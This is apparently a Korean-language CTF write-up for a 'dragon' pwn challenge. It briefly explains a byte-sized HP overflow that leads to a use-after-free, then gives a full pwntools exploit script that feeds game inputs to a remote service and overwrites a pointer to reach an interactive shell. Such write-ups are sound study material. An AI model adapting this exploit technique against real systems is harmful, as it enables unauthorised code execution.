드래곤

풀 이

2019.04.30 00:24

엄마 드래곤과 아기 드래곤이 있습니다. 드래곤은 매 턴마다 체력이 회복하는데 드래곤의 구조체에서 체력은 BYTE 입니다. 때문에 BYTE가 overflow가 되면 너무 건강해서 죽어버립니다. 죽으면 자연으로 돌아가는데 다시 할당되면 그 부분이 다시 돌아오게됩니다. 이때 UAF가 이뤄집니다.

 

from pwn import *

context.update(arch='i386', os='linux')

def main():
    # p = process('./dragon')
    p = remote('??????', 9004)

    # Skip baby dragon !!
    for i in range(0, 4):
        p.sendline('1')

    # Fight mama dragon !!
    for i in range(0, 4):
        p.sendline('3\n3\n2')

    p.sendlineafter('The World Will Remember You As:', p32(0x08048dbf))
    p.interactive()

if __name__ == '__main__':
    main()

'풀 이' 카테고리의 다른 글

단순한 로그인  (0) 2019.05.15
UUTCTF2019 Again find the flag  (0) 2019.05.05
드래곤  (0) 2019.04.30
SECCON2018/pwn/profile  (0) 2018.11.14
h3x0rCTF/pwn/libsteak  (0) 2018.11.04
hacklu2018/pwn/baby-kernel  (0) 2018.10.23